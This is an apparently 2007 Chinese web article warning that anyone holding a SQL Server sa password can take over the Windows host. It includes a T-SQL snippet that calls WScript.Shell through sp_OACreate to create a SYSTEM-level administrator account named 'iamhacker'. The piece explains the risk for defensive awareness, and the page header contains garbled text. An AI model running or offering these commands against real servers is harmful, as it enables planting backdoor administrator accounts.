开发学院数据库 MSSQL Server SQLServer的安全隐患：不要以为黑掉的只是SQLSERV... 阅读

SQLServer的安全隐患：不要以为黑掉的只是SQLSERVER而已。

　2007-11-11 08:55:24　来源：WEB开发网　闂傚倷绶氬ḿ褍螞閹绢喖绠柨鐕傛嫹

闂傚倷绀侀幉锟犲垂閻㈠灚宕查柟鎵閸庡秵銇勯幒鎴濃偓鐢稿磻閹炬枼妲堟繛鍡楃С濞岊亞绱撻崒姘扁枌闁瑰嚖鎷�

婵犵數濮幏鍐川椤撴繄鎹曢梻渚€娼уú銈吤洪妸鈺佺劦妞ゆ帊鑳堕埊鏇㈡煏閸モ晛浠х紒杈╁仱閺佹捇鏁撻敓锟�闂傚倷绶氬ḿ褍螞閹绢喖绠柨鐕傛嫹　　闂傚倷鑳舵灙缂佺粯顨呴埢宥夊即閵忕姵鐎梺缁樺姈椤愮厧鈽夊Ο閿嬬€婚梺褰掑亰閸撴稑鈻斿鑸碘拺闁告稑饪村▓鏃€绻涚仦鍌氬闁崇粯鎹囬獮瀣攽閹邦剚顔傛俊鐐€栧濠氬储瑜忛幉鎾晸閿燂拷

核心提示：sql server(WINDOWS平台上强大的数据库平台)存在着非常严重的安全隐患，sa的密码就像Administrator的密码一样重要，SQLServer的安全隐患：不要以为黑掉的只是SQLSERVER而已。，假如别人获得了数据库超级用户sa的密码，那么他/她可以在查询分析器里使用下面的SQL语句轻易在Win20

sql server(WINDOWS平台上强大的数据库平台)存在着非常严重的安全隐患。sa的密码就像Administrator的密码一样重要。

假如别人获得了数据库超级用户sa的密码，那么他/她可以在查询分析器里使用下面的SQL语句轻易在Win2000(sql server(WINDOWS平台上强大的数据库平台)所在的Server)上创建一个超级用户：

declare @object int
--创建WScript.Shell
EXEC sp_OACreate 'WScript.Shell',@object OUT
--运行net user iamhacker opendoor /add
--添加一个名字为iamhacker,密码为opendoor的用户
EXEC sp_OAMethod @object,'Run',NULL,'net user iamhacker opendoor /add'
--把iamhacker添加到Administrators组中
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Administrators iamhacker /add'
--把iamhacker从User组中删除
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Users iamhacker /del'

我已经尝试过了。。实在太恐怖了。

上面的语句很短。核心是能够调用平台命令 net 。

其实现方法是sql server(WINDOWS平台上强大的数据库平台)调用COM Automation的强大功能。再配合WSH中的一个对象WScript.Shell的一个方法：Run。（注意，一般sql server(WINDOWS平台上强大的数据库平台)都是配置在SYSTEM的权限下运行的。也就是说，Run所调用的程序也是具有SYSTEM的权限。）

（相关的实验是，调用一下NOTEPAD,那么任务管理器下将有用户为SYSTEM的NOTEPAD。EXE进程存在）

WScript.Shell的隐患其实已经在各个方面很显著了。想不到现在竟然在sql server(WINDOWS平台上强大的数据库平台)上也有相关的问题。

所以。大家一定要注意保管好sa的密码。不要随便被人黑了哦。。。